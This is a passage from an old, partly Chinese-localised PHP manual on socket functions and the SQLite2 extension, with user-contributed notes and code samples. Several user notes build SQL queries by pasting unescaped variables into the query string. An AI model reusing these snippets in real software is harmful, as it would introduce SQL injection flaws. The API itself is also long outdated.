socket_set_option($socket,SOL_SOCKET,SO_REUSEADDR,1);
add a note add a note

后退 | 起点 | 前进
socket_set_nonblock | 上一级 | socket_shutdown


socket_shutdown

(PHP 4 >= 4.1.0, PHP 5)

socket_shutdown -- Shuts down a socket for receiving, sending, or both

Description

bool socket_shutdown ( resource socket [, int how] )

The socket_shutdown() function allows you to stop incoming, outgoing or all data (the default) from being sent through the socket

The value of how can be one of the following:

表格 1. possible values for how

0 | Shutdown socket reading
1 | Shutdown socket writing
2 | Shutdown socket reading and writing

add a note add a note User Contributed Notes
richard dot thomas at psysolutions dot com
24-Nov-2005 02:20
That is not a good example of a graceful shutdown. One should close the sending side of the socket and continue to read until the remote end closes its sending connection.
ludvig dot ericson at gmail dot com
03-Sep-2005 04:13
Sockets should be first shutdown and then closed.
<?php
// Sample: Closing sockets gracefully
socket_shutdown($sock, 2);
socket_close($sock);
?>
add a note add a note

后退 | 起点 | 前进
socket_set_option | 上一级 | socket_strerror


socket_strerror

(PHP 4 >= 4.1.0, PHP 5)

socket_strerror -- Return a string describing a socket error

Description

string socket_strerror ( int errno )

socket_strerror() takes as its errno parameter a socket error code as returned by socket_last_error() and returns the corresponding explanatory text. This makes it a bit more pleasant to figure out why something didn't work; for instance, instead of having to track down a system include file to find out what '-111' means, you just pass it to socket_strerror(), and it tells you what happened.

例子 1. socket_strerror() example

<?php
if (false == ($socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
   echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (false == (@socket_bind($socket, '127.0.0.1', 80))) {
   echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
?>

The expected output from the above example (assuming the script is not run with root privileges):

socket_bind() failed: reason: Permission denied

See also
socket_accept(),
socket_bind(),
socket_connect(),
socket_listen(), and
socket_create().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
socket_shutdown | 上一级 | socket_write


socket_write

(PHP 4 >= 4.1.0, PHP 5)

socket_write -- Write to a socket

Description

int socket_write ( resource socket, string buffer [, int length] )

The function socket_write() writes to the socket socket from buffer.

The optional parameter length can specify an alternate length of bytes written to the socket. If this length is greater then the buffer length, it is silently truncated to the length of the buffer.

Returns the number of bytes successfully written to the socket or FALSE one error. The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual explanation of the error.

注: socket_write() does not necessarily write all bytes from the given buffer. It's valid that, depending on the network buffers etc., only a certain amount of data, even one byte, is written though your buffer is greater. You have to watch out so you don't unintentionally forget to transmit the rest of your data.

注: It is perfectly valid for socket_write() to return zero which means no bytes have been written. Be sure to use the === operator to check for FALSE in case of an error.

See also
socket_accept(),
socket_bind(),
socket_connect(),
socket_listen(),
socket_read() and
socket_strerror().

add a note add a note User Contributed Notes
gtk at linux dot online dot no
20-Aug-2002 07:43
from http://www.manualy.sk/sock-faq/unix-socket-faq-2.html
read() is equivalent to recv() with a flags parameter of 0. Other values for the flags parameter change the behaviour of recv(). Similarly, write() is equivalent to send() with flags == 0.
add a note add a note

后退 | 起点 | 前进
socket_strerror | 上一级 | SQLite Functions


SQLite Functions

PHP 手册
后退 前进

CXXXVIII. SQLite Functions

简介

This is an extension for the SQLite Embeddable SQL Database Engine. SQLite is a C library that implements an embeddable SQL database engine. Programs that link with the SQLite library can have SQL database access without running a separate RDBMS process.

SQLite is not a client library used to connect to a big database server. SQLite is the server. The SQLite library reads and writes directly to and from the database files on disk.

注: For further information see the SQLite Website (http://sqlite.org/).

Installation

Read the INSTALL file, which comes with the package. Or just use the PEAR installer with "pear install sqlite". SQLite itself is already included, You do not need to install any additional software.

Windows users may download the DLL version of the SQLite extension here: (php_sqlite.dll).

In PHP 5, the SQLite extension and the engine itself are bundled and compiled by default.

Windows installation for unprivileged accounts: On Windows operating systems, unprivileged accounts don't have the TMP environment variable set by default. This will make sqlite create temporary files in the windows directory, which is not desirable. So, you should set the TMP environment variable for the web server or the user account the web server is running under. If Apache is your web server, you can accomplish this via a SetEnv directive in your httpd.conf file. For example:

SetEnv TMP c:/temp

If you are unable to establish this setting at the server level, you can implement the setting in your script:

putenv('TMP=C:/temp');

The setting must refer to a directory that the web server has permission to create files in and subsequently write to and delete the files it created. Otherwise, you may receive the following error message: malformed database schema - unable to open a temporary database file for storing temporary tables

需求

In order to have these functions available, you must compile PHP with SQLite support, or load the SQLite extension dynamically from your php.ini.

资源类型

There are two resources used in the SQLite Interface. The first one is the database connection, the second one the result set.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

The functions sqlite_fetch_array() and sqlite_current() use a constant for the different types of result arrays. The following constants are defined:

SQLite result type constants

SQLITE_ASSOC (int)

Columns are returned into the array having the field name as the array index.

SQLITE_BOTH (int)

Columns are returned into the array having both a numerical index and the field name as the array index.

SQLITE_NUM (int)

Columns are returned into the array having a numerical index to the fields. This index starts with 0, the first field in the result.

A number of functions may return status codes. The following constants are defined:

SQLite status code constants

SQLITE_OK (int)

Successful result.

SQLITE_ERROR (int)

SQL error or missing database.

SQLITE_INTERNAL (int)

An internal logic error in SQLite.

SQLITE_PERM (int)

Access permission denied.

SQLITE_ABORT (int)

Callback routine requested an abort.

SQLITE_BUSY (int)

The database file is locked.

SQLITE_LOCKED (int)

A table in the database is locked.

SQLITE_NOMEM (int)

Memory allocation failed.

SQLITE_READONLY (int)

Attempt to write a readonly database.

SQLITE_INTERRUPT (int)

Operation terminated internally.

SQLITE_IOERR (int)

Disk I/O error occurred.

SQLITE_CORRUPT (int)

The database disk image is malformed.

SQLITE_NOTFOUND (int)

(Internal) Table or record not found.

SQLITE_FULL (int)

Insertion failed because database is full.

SQLITE_CANTOPEN (int)

Unable to open the database file.

SQLITE_PROTOCOL (int)

Database lock protocol error.

SQLITE_EMPTY (int)

(Internal) Database table is empty.

SQLITE_SCHEMA (int)

The database schema changed.

SQLITE_TOOBIG (int)

Too much data for one row of a table.

SQLITE_CONSTRAINT (int)

Abort due to constraint violation.

SQLITE_MISMATCH (int)

Data type mismatch.

SQLITE_MISUSE (int)

Library used incorrectly.

SQLITE_NOLFS (int)

Uses of OS features not supported on host.

SQLITE_AUTH (int)

Authorized failed.

SQLITE_ROW (int)

Internal process has another row ready.

SQLITE_DONE (int)

Internal process has finished executing.

预定义类

SQLiteDatabase

Represents an opened SQLite database.

构造函数

  • __construct - construct a new SQLiteDatabase object

方法

  • query - Execute a query

  • queryExec - Execute a result-less query

  • arrayQuery - Execute a query and return the result as an array

  • singleQuery - Execute a query and return either an array for one single column or the value of the first row

  • unbufferedQuery - Execute an unbuffered query

  • lastInsertRowid - Returns the rowid of the most recently inserted row

  • changes - Returns the number of rows changed by the most recent statement

  • createAggregate - Register an aggregating UDF for use in SQL statements

  • createFunction - Register a UDF for use in SQL statements

  • busyTimeout - Sets or disables busy timeout duration

  • lastError - Returns the last error code of the most recently encountered error

  • fetchColumnTypes - Return an array of column types from a particular table

SQLiteResult

Represents a buffered SQLite result set.

方法

  • fetch - Fetches the next row from the result set as an array

  • fetchObject - Fetches the next row from the result set as an object

  • fetchSingle - Fetches the first column from the result set as a string

  • fetchAll - Fetches all rows from the result set as an array of arrays

  • column - Fetches a column from the current row of the result set

  • numFields - Returns the number of fields in the result set

  • fieldName - Returns the name of a particular field in the result set

  • current - Fetches the current row from the result set as an array

  • key - Return the current row index

  • next - Seek to the next row number

  • valid - Returns whether more rows are available

  • rewind - Seek to the first row number of the result set

  • prev - Seek to the previous row number of the result set

  • hasPrev - Returns whether or not a previous row is available

  • numRows - Returns the number of rows in the result set

  • seek - Seek to a particular row number

SQLiteUnbuffered

Represents an unbuffered SQLite result set. Unbuffered results sets are sequential, forward-seeking only.

方法

  • fetch - Fetches the next row from the result set as an array

  • fetchObject - Fetches the next row from the result set as an object

  • fetchSingle - Fetches the first column from the result set as a string

  • fetchAll - Fetches all rows from the result set as an array of arrays

  • column - Fetches a column from the current row of the result set

  • numFields - Returns the number of fields in the result set

  • fieldName - Returns the name of a particular field in the result set

  • current - Fetches the current row from the result set as an array

  • next - Seek to the next row number

  • valid - Returns whether more rows are available

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. SQLite 配置选项

名字 | 默认 | 可修改范围 | Changelog
sqlite.assoc_case | "0" | PHP_INI_ALL | Available since PHP 5.0.0.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

sqlite.assoc_case int

Whether to use mixed case (0), upper case (1) or lower case (2) hash indexes.

This option is primarily useful when you need compatibility with other database systems, where the names of the columns are always returned as uppercase or lowercase, regardless of the case of the actual field names in the database schema.

The SQLite library returns the column names in their natural case (that matches the case you used in your schema). When sqlite.assoc_case is set to 0 the natural case will be preserved. When it is set to 1 or 2, PHP will apply case folding on the hash keys to upper- or lower-case the keys, respectively.

Use of this option incurs a slight performance penalty, but is MUCH faster than performing the case folding yourself using PHP script.

目录
sqlite_array_query -- Execute a query against a given database and returns an array
sqlite_busy_timeout -- Set busy timeout duration, or disable busy handlers
sqlite_changes -- Returns the number of rows that were changed by the most recent SQL statement
sqlite_close -- Closes an open SQLite database
sqlite_column -- Fetches a column from the current row of a result set
sqlite_create_aggregate -- Register an aggregating UDF for use in SQL statements
sqlite_create_function -- Registers a "regular" User Defined Function for use in SQL statements
sqlite_current -- Fetches the current row from a result set as an array
sqlite_error_string -- Returns the textual description of an error code
sqlite_escape_string -- Escapes a string for use as a query parameter
sqlite_exec -- Executes a result-less query against a given database
sqlite_factory -- Opens a SQLite database and returns a SQLiteDatabase object
sqlite_fetch_all -- Fetches all rows from a result set as an array of arrays
sqlite_fetch_array -- Fetches the next row from a result set as an array
sqlite_fetch_column_types -- Return an array of column types from a particular table
sqlite_fetch_object -- Fetches the next row from a result set as an object
sqlite_fetch_single -- Fetches the first column of a result set as a string
sqlite_fetch_string -- 别名 sqlite_fetch_single()
sqlite_field_name -- Returns the name of a particular field
sqlite_has_more -- Finds whether or not more rows are available
sqlite_has_prev -- Returns whether or not a previous row is available
sqlite_key -- Returns the current row index
sqlite_last_error -- Returns the error code of the last error for a database
sqlite_last_insert_rowid -- Returns the rowid of the most recently inserted row
sqlite_libencoding -- Returns the encoding of the linked SQLite library
sqlite_libversion -- Returns the version of the linked SQLite library
sqlite_next -- Seek to the next row number
sqlite_num_fields -- Returns the number of fields in a result set
sqlite_num_rows -- Returns the number of rows in a buffered result set
sqlite_open -- Opens a SQLite database and create the database if it does not exist
sqlite_popen -- Opens a persistent handle to an SQLite database and create the database if it does not exist
sqlite_prev -- Seek to the previous row number of a result set
sqlite_query -- Executes a query against a given database and returns a result handle
sqlite_rewind -- Seek to the first row number
sqlite_seek -- Seek to a particular row number of a buffered result set
sqlite_single_query -- Executes a query and returns either an array for one single column or the value of the first row
sqlite_udf_decode_binary -- Decode binary data passed as parameters to an UDF
sqlite_udf_encode_binary -- Encode binary data before returning it from an UDF
sqlite_unbuffered_query -- Execute a query that does not prefetch and buffer all data
sqlite_valid -- Returns whether more rows are available

add a note add a note User Contributed Notes
papafox888 at hotmail dot com
02-Jun-2006 12:05
If you get an error message:

     Warning: sqlite_open() [function.sqlite-open]: file is encrypted or is not a database

then most probably your code is accessing a SQLite3 database.

sqlite_open() only supports SQLite2.  Use PDO to access SQLite3.
NOTshrockc_inhs_org
11-May-2006 01:05
The correct url for the windows dll is:

http://pecl4win.php.net/ext.php/php_sqlite.dll
Egon at example dot com
22-Feb-2006 09:15
<$php
public function set_by_db_with_join_to_users_department($col, $foo){
   $list = "da.ROWID, da.dept_id, da.script, da.action, da.description, ud.name";
   $query = "SELECT $list FROM dept_access AS da, users_department AS ud
       WHERE da.dept_id = ud.ROWID
       AND da.$col = '$foo';";

   $db = new SQLiteDatabase (dept_access::db_path, 0666, &$error)
       or die("Failed: $error");
   $db->queryExec("ATTACH DATABASE '".dept_access::db_users_path."' AS users");
   $row = $db->arrayQuery($query, SQLITE_ASSOC);
   unset($db);

echo $query."\n";
echo var_dump($row);
   $this->ROWID = $row[0]['da.ROWID'];
   $this->dept_id = $row[0]['da.dept_id'];
   $this->dept_name = $row[0]['ud.name'];
   $this->script = $row[0]['da.script'];
   $this->action = $row[0]['da.action'];
   $this->description = $row[0]['da.description'];
}
?>

For ATTACH DATABASE to work you need to run it in a $db->queryExec(ATTACH DATABASE...); before using $db->arrayQuery. This is most likly the case with other OO methods to. This on stumped me for a while.
heinemann.juergen AT t-online.de
12-Nov-2005 01:53
Simple Example for using SQLite for small Buffering Clipboard ;)

<?php

// $Id: SQLiteClipboard.php5,v 1.1 2005/09/09 10:15:26 heinemann Exp $

/**
 * @callgraph
 * @class      SQLiteClipboard
 * @short      Simple Read/Write Clipboard Class
 * @version    0.0.1
 * @since      Fr Sep  9 08:14:45 CEST 2005
 * @code
   $sqlite = new SQLiteClipboard( MY_TEMP_DIR );
   if ( $sqlite->INSERTING = time() )
     var_dump( $sqlite->INSERTING );
   else
     echo "Nothing done!";
 * @endcode
 */

final class SQLiteClipboard
{
   private $SQL;
   private $DB = "Clipboard.sqlite";
   private $TB = "Clipboard";
   private $ID = "ID";
   private $PA = "PARAM";
   private $VA = "VAL";

   function __construct( $path )
   {
     $this->DB = chop( $path . "/" . $this->DB );
     $this->sql_init();
   }

   private function sql_init()
   {
     $this->SQL = new SQLiteDatabase( $this->DB, 0660 );
     if ( ! file_exists( $this->DB ) )
         die( "Permission Denied!" );

     $q = $this->SQL->query("PRAGMA table_info(" . $this->TB . ")");
     if ( $q->numRows() == 0 ) {
         $this->SQL->query( "CREATE TABLE " . $this->TB . " ( " . $this->ID . " INTEGER PRIMARY KEY, " . $this->PA . " CHAR(255), " . $this->VA . " CHAR(255) );" );
     }
   }

   private function sql_check( $p )
   {
     $o = null;
     $q = $this->SQL->query( "SELECT " . $this->ID . " FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' ) ORDER BY " . $this->ID . " LIMIT 1" );
     while( $q->valid() ) {
         $r = $q->current();
         return $r[$this->ID];
         $q->next();
     }
     return false;
   }

   public function __get( $p )
   {
     $q = $this->SQL->query( "SELECT " . $this->VA . " FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' ) ORDER BY " . $this->ID );
     while( $q->valid() ) {
           $r = $q->current();
           $o = $r[$this->VA];
           $q->next();
     }
     return $o;
   }

   public function __set( $p, $v )
   {
     if ( $this->sql_check( $p ) && ! empty( $v ) )
         return $this->SQL->query( "UPDATE " . $this->TB . " SET " . $this->VA . "='$v' WHERE ( " . $this->PA . "='$p' );" );
     elseif  ( ! $this->sql_check( $p ) && ! empty( $v ) )
         return $this->SQL->query( "INSERT INTO " . $this->TB . " ( " . $this->PA . ", " . $this->VA . " ) VALUES ('$p', '$v' );" );
     elseif  ( $this->sql_check( $p ) && empty( $v ) )
         return $this->SQL->query( "DELETE FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' );" );
     else
         return false;
   }

} // end Class

?>
01-Sep-2005 07:21
A function to check whether a table exists:

<?php
function sqlite_table_exists(&$sqlite, $table)
{
   $result = $sqlite->query("SELECT name FROM sqlite_master WHERE type='table' AND name='$table'");
   return $result->numRows() > 0;
}
?>
bens at effortlessis dot com
15-Jul-2005 02:37
Sqlite by default allows for foreign keys, but doesn't enforce them.

I found a nice article on how to enforce foreign keys  at http://www.justatheory.com/computers/databases/sqlite/

It would be nice if this could be handled with a wrapper class, so that adding foreign keys is done thru a wrapper API to automate the generation of the necessary enforcement triggers. If nobody's done this by the time I start coding against SqlLite/PHP5 in 6-12 months, I'll write one myself, possibly by modifying "jon at jenseng dot com"s alter table wrapper

Anyway, it's not PHP specific, but anybody using Sqlite really should know this!
Stephen Leaf
30-Jun-2005 08:58
I think it would be good to point out that currently (as of 5.0.4) this extention does not support SQLite 3 databases.
So if your getting an error message like:
Error: file is encrypted or is not a database
That is why.
bart at mediawave dot nl
18-Apr-2005 10:30
SELECT tablename.columnname FROM table;

will cause SQLite to return an array having tablename.field_name as the array index. (e.g. $result['tablename.field_name'])

To let SQLite return an array having only field_name as the array index (e.g. $result['field_name']) you can issue a 'PRAGMA short_column_names = 1' query:

sqlite_query($connection_id, 'PRAGMA short_column_names = 1');

This behaviour is more consistent with the other database extensions.

For a full list of all pragmas visit: http://sqlite.org/pragma.html
dotwho at NOSPAM dot mac dot com
10-Feb-2005 10:03
This may have been obvious to others, but I had a tough time finding the info.

The default location for the actual database file is the same location of the php doc that created the database. You can alter this behavior by specifying the full path in the creation call:

<php
$db = sqlite_open("/absolute/path/my_sqlite.db");
?>

Note that if you used the default location, the db file may be served up by the webserver if it is in a the http document path. This is obviously a security risk that should be avoided.

//Max
hunreal+php at gmail dot com
17-Jan-2005 12:42
Check the db/table if exist

$db_name='db';
$db=new SQLiteDatabase($db_name, 0666, $error);
if ($error) exit($error);
$q=$db->query("PRAGMA table_info(test)");
if ($q->numRows()!=2) {
   if (!@$db->queryexec("
       CREATE TABLE test (
           id INTEGER NOT NULL PRIMARY KEY,
           text VARCHAR ( 255 ) NOT NULL
           )")
   ) exit ("Create SQLite Database Error\n");
}
nicolas dot toniazzi at free dot fr
16-Nov-2004 11:24
The same in 3 lines.

<?php
function sqlite_table_exists($db,$mytable) {
  /* counts the tables that match the name given */
  $result = sqlite_query($db,"SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='$mytable'");

  /* casts into integer */
  $count = intval(sqlite_fetch_single($result));

  /* returns true or false */
  return $count > 0;
}
?>
alexs at alphacomolex dot info
29-Oct-2004 06:41
the OO version.
<?php
function sqlite_table_exists($db,$mytable) {
   // ask the database kindly what tables is has.
   $result = $db->query("SELECT name FROM sqlite_master WHERE type='table'");
   $tables = $result->fetchAll();
   // if there's no items in the array then our taget is not going to exists.
   if (count($tables) == 0) {
       return FALSE ;
   }
   // loop over the tables to see if there's a table we're looking for.
   foreach ($tables as $table) {
       if ($table['name'] == $mytable) {
           return(TRUE);
       }
   }
   // there was no such table, informe the user the bad news.
   return(FALSE);
}
?>
artooro at gmail dot com
22-Oct-2004 09:26
If you need to check if a table exists, you can use a function like this:
<?php
//Returns TRUE if table exists and FALSE otherwise
//  $mytable = table you want to check for

function sqlite_table_exists($mytable) {
$db = sqlite_open('mydb.sqlite', 0666, $sqliteerror);
   $query = sqlite_query($db, "SELECT name FROM sqlite_master WHERE type='table'");
   $tables = sqlite_fetch_array($query);
   if ($tables != '') {
       foreach ($tables as $table) {
           if ($table == $mytable) {
               return("TRUE");
           }
           else {
               return("FALSE");
           }
       }
   }
   else {
       return("FALSE");
   }
}
?>

A function like this could be used to create the table if it's not already created, etc.
j-pieper at NOSPAM dot web dot de
19-Oct-2004 06:18
If you want to create a table in your database which should have an integer primary key, you cannot declare the row like this:

id int(16) primary key
or
id integer(16) primary key

When you declare it like this it could be that the id isnt auto increment. You have to declare it like this:

id integer primary key
filip at filipdewaard dot com
10-Sep-2004 02:39
I've written a short article about the (lack of) use of SQLite in-memory databases: http://www.filipdewaard.com/21_SQLite_inmemory_databases.html . Hopefully it will help somebody out there ;)
philip
09-Aug-2004 05:59
SQLite tutorials:
 * http://www.zend.com/php5/articles/php5-sqlite.php
 * http://www.zend.com/php5/abs/php101-9.php
 * http://www.oreilly.com/catalog/upgradephp5/chapter/ch04.pdf
jon at jenseng dot com
21-Jul-2004 05:50
Since SQLite doesn't support ALTER TABLE statements or renaming tables, modifying an existing table is a bit cumbersome. You have to:

1. create a temporary table
2. copy the original table into the temporary table
3. delete the original
4. recreate the original with new column definitions
5. copy the contents back
6. delete the temporary table

As this is rather unwieldy, I've created a wrapper class that allows for ALTER TABLE queries and does the dirty work for you. It has integrated error handling to ensure that queries are completely valid and it allows for complex statements such as:

ALTER TABLE foo ADD bar VARCHAR(27), DROP bar2, CHANGE bar3 foobar INTEGER, ADD bar4 DATE

Documentation:
http://code.jenseng.com/db/

Source:
http://code.jenseng.com/db/sql.txt
david at acz dot org
15-Jul-2004 09:29
You can use the PECL SQLite extension as a static (built into the executable) PHP module with PHP 4.  Download the extension tarball and extract it.  Move it to ext/sqlite in the PHP source directory.  Delete configure and run buildconf.

Example below.  Change version numbers as appropriate:

$ tar -xzvf php-4.3.8.tar.gz
$ tar -xzvf SQLite-1.0.2.tgz
$ mv SQLite-1.0.2 php-4.3.8/ext/sqlite
$ cd php-4.3.8
$ rm configure
$ ./buildconf --force

If everything worked, then you should now be able to build PHP with SQLite support:

$ ./configure --help | grep sqlite
  --with-sqlite          Include sqlite support

I think this method will work for other PECL extensions.
13-May-2004 10:46
PHP5 compile time option --enable-sqlite-utf8

See the note about buggy utf-8 support http://uk.php.net/manual/en/function.sqlite-libencoding.php
csaba at alum dot mit dot edu
14-Apr-2004 11:16
If you want to get the list of all the columns in a table (and associated information), PRAGMA is helpful (see http://sqlite.org/lang.html#pragma for details):

if (!($db=@sqlite_open("delme.db",0666,$sqliteerror))) die("Can't open database");
@sqlite_query ($db, 'DROP TABLE foo;');
sqlite_query($db, "CREATE TABLE foo (bar INTEGER PRIMARY KEY, baz VARCHAR(5));");
$aTableStruct = sqlite_array_query($db, "PRAGMA table_info('foo');", SQLITE_ASSOC);
for ($i=0,$aNames=array();$i<sizeof($aTableStruct);++$i)
   $aNames[]=$aTableStruct[$i]['name'];
var_dump ($aNames);    // => ['bar', 'baz']

Note also that if you want to use more than one database in the same connection using "ATTACH DATABASE ..." then you should supply the complete database filename.

Csaba Gabor
cricket at djcricket dot com
01-Apr-2004 01:30
To elaborate on vpupkin at comcast dot net's post about the INSERT query problem, you will be unable to execute any manipulation queries (INSERT/UPDATE/DELETE/ect) on the SQLite database file unless the directory the SQLite database file resides in is writable by the webserver.

The reason for this is because SQLite needs to write a lock file to the hard drive. After a processes finishes writting, it deletes the lock file. Other processes check for the lock file before writting to the SQLite database file and if present, delay writting until the lock file is no longer present.
jlsalinas at spamsucks dot gmx dot net
14-Feb-2004 10:22
For those looking for a function similar to mysql_list_tables, here you have:

if (! function_exists ('sqlite_list_tables')) {
   function sqlite_list_tables (&$dblink) {
       $tables = array ();

       $sql = "SELECT name FROM sqlite_master WHERE (type = 'table')";
       if ($res = sqlite_query ($dblink, $sql)) {
           while (sqlite_has_more($res)) {
               $tables[] = sqlite_fetch_single($res);
           }
       }

       return $tables;
   }
}

And a related funtion, to test if a given table exists:

if (! function_exists ('sqlite_table_exists')) {
   function sqlite_table_exists (&$dblink, $table) {
       $sql = "SELECT count(name) FROM sqlite_master WHERE ((type = 'table') and (name = '$table'))";
       if ($res = sqlite_query ($dblink, $sql)) {
           return sqlite_fetch_single($res) > 0;
       } else {
           return false; // or throw exception
       }
   }
}

Of course it would be preferable to have these functions included in the library, to avoid potential changes internal to SQLite; but we'll have to stick to this method until then.
05-Feb-2004 12:11
Since this extension is rather new and few tutorials/articles talk about it... here's one worthy of a link:
http://www.php-mag.net/itr/online_artikel/psecom,id,447,nodeid,114
vpupkin at comcast dot net
01-Dec-2003 12:53
if you are going to send INSERT queries, you will need to make the folder, where you put your "file.db", writable by a web server user, otherwise you'll receive error message - "Unable to open database . . . ". File permissions are not enough (phpinfo - SQLite Lib 2.8.3)
Minots Estich <minots at D0X dot de>
22-Nov-2003 10:47
If you gone in trouble while/with installation of sqlite,
you can try the installation steps Ive done at
RedHat9 with PHP4.3.4 and Apache 1.3.28
via the Linux shell:

# wget http://pecl.php.net/get/SQLite-1.0.tgz
# tar xzf SQLite-1.0.tgz
# cd sqlite
# export PHP_PREFIX="/usr"
# $PHP_PREFIX/bin/phpize
# ./configure
# make
# make install

After that add following to php.ini and restart Apache:

[sqlite]
extension="sqlite.so"
ng4rrjanbiah at rediffmail dot com
07-Nov-2003 11:19
Very nice MS PowerPoint presentation titled "SQLite and PHP" (author: Wez Furlong) can be downloaded at http://www.php.net/~wez/SQLite_and_PHP.ppt [134 KB]

HTH,
R. Rajesh Jeba Anbiah
add a note add a note

后退 | 起点 | 前进
socket_write | 上一级 | sqlite_array_query


sqlite_array_query

(PHP 5)

sqlite_array_query

(no version information, might be only in CVS)

SQLiteDatabase->arrayQuery -- Execute a query against a given database and returns an array

说明

array sqlite_array_query ( resource dbhandle, string query [, int result_type [, bool decode_binary]] )

array sqlite_array_query ( string query, resource dbhandle [, int result_type [, bool decode_binary]] )

Object oriented style (method):

class SQLiteDatabase {

array arrayQuery ( string query [, int result_type [, bool decode_binary]] )

}

sqlite_array_query() executes the given query and returns an array of the entire result set. It is similar to calling sqlite_query() and then sqlite_fetch_array() for each row in the result set. sqlite_array_query() is significantly faster than the aforementioned.

提示: sqlite_array_query() is best suited to queries returning 45 rows or less. If you have more data than that, it is recommended that you write your scripts to use sqlite_unbuffered_query() instead for more optimal performance.

参数

query

The query to be executed.

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally. This parameter is not required when using the object-oriented method.

result_type

可选的 result_type 参数接受一个常量并决定返回的数组如何索引。用 SQLITE_ASSOC 只会返回关联索引（有名称字段）而 SQLITE_NUM 只会返回数字索引（有序字段数）。SQLITE_BOTH 会同时返回关联和数字索引。 SQLITE_BOTH 是本函数的默认值。

decode_binary

当 decode_binary 参数设为 TRUE（默认值）时，PHP 将解码那些由 sqlite_escape_string() 编码的数据。通常应保留此值为其默认值，除非在操作其它支持 sqlite 程序建立的数据库时。

注: 为兼容其它数据库（例如 MySQL），支持另两种替代的语法。推荐用第一种，dbhandle 参数作为函数的第一个参数。

返回值

Returns an array of the entire result set; FALSE otherwise.

由 SQLITE_ASSOC 和 SQLITE_BOTH 返回的列名会根据 sqlite.assoc_case 配置选项的值来决定大小写。

范例

例子 1. Procedural style

<?php
$dbhandle = sqlite_open('sqlitedb');
$result = sqlite_array_query($dbhandle, 'SELECT name, email FROM users LIMIT 25', SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

例子 2. Object-oriented style

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');
$result = $dbhandle->arrayQuery('SELECT name, email FROM users LIMIT 25', SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

参见

sqlite_query()
sqlite_fetch_array()
sqlite_fetch_string()

add a note add a note User Contributed Notes
kendlj at NOSPAM dot web dot de
18-Apr-2005 07:21
Do not use this code, whenever you may get no result:

<?
$return_data=@sqlite_array_query($query,$databaseHandle);
if(!$return_data)
{
   //Errorhandling code
   die( sqlite_error_string( sqlite_last_error($this->databaseHandle) ) );
}
?>

It will execute the Errorhandling code although there is no error, cause if there is nothing found, sqlite_array_query returns an empty array, which is interpreted as 'false' here.
You will get an Message like:
'not an error'

Instead use:

<?
$return_data=@sqlite_array_query($query,$databaseHandle);
if($return_data===false)
{
   //Errorhandling code
}
?>
add a note add a note

后退 | 起点 | 前进
SQLite Functions | 上一级 | sqlite_busy_timeout


sqlite_busy_timeout

(PHP 5)

sqlite_busy_timeout

(no version information, might be only in CVS)

SQLiteDatabase->busyTimeout -- Set busy timeout duration, or disable busy handlers

说明

void sqlite_busy_timeout ( resource dbhandle, int milliseconds )

Object oriented style (method):

class SQLiteDatabase {

void busyTimeout ( int milliseconds )

}

Set the maximum time, in milliseconds, that SQLite will wait for a dbhandle to become ready for use.

参数

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally. This parameter is not required when using the object-oriented method.

milliseconds

The number of milliseconds. When set to 0, busy handlers will be disabled and SQLite will return immediately with a SQLITE_BUSY status code if another process/thread has the database locked for an update.

PHP sets the default busy timeout to be 60 seconds when the database is opened.

注: There are one thousand (1000) milliseconds in one second.

范例

例子 1. Procedural style

<?php
$dbhandle = sqlite_open('sqlitedb');
sqlite_busy_timeout($dbhandle, 10000); // set timeout to 10 seconds
sqlite_busy_timeout($dbhandle, 0); // disable busy handler
?>

例子 2. Object oriented style

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');
$dbhandle->busyTimeout(10000); // 10 seconds
$dbhandle->busyTimeout(0); // disable
?>

参见

sqlite_open()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sqlite_array_query | 上一级 | sqlite_changes


sqlite_changes

(PHP 5)

sqlite_changes

(no version information, might be only in CVS)

SQLiteDatabase->changes -- Returns the number of rows that were changed by the most recent SQL statement

说明

int sqlite_changes ( resource dbhandle )

Object oriented style (method):

class SQLiteDatabase {

int changes ( void )

}

Returns the numbers of rows that were changed by the most recent SQL statement executed against the dbhandle database handle.

参数

dbhandle

The SQLite Database resource; returned from sqlite_open () when used procedurally. This parameter is not required when using the object-oriented method.

范例

例子 1. Procedural style

<?php
$dbhandle = sqlite_open('mysqlitedb');
$query = sqlite_query($dbhandle, "UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'");
if (!$query) {
    exit('Error in query.');
} else {
    echo 'Number of rows modified: ', sqlite_changes($dbhandle);
}
?>

例子 2. Object oriented style

<?php
$dbhandle = new SQLiteDatabase('mysqlitedb');
$query = $dbhandle->query("UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'");
if (!$query) {
    exit('Error in query.');
} else {
    echo 'Number of rows modified: ', $dbhandle->changes();
}
?>

参见

sqlite_open()

add a note add a note User Contributed Notes
bermi ferrer:at-akelos dotCom
28-Sep-2005 09:02
When counting deleted records from the database, I realized that sqlite_changes() will return 0 if you are deleting all the records without including a WHERE clause.

So after "DELETE FROM users" sqlite_open() will print 0 even if rows where deleted, but if you use "DELETE FROM users WHERE 1" you will get the right result.

I had this problem on versions 5.0.4 and 4.4.0 under Windows servers.
add a note add a note

后退 | 起点 | 前进
sqlite_busy_timeout | 上一级 | sqlite_close


sqlite_close

(PHP 5)

sqlite_close -- Closes an open SQLite database

说明

void sqlite_close ( resource dbhandle )
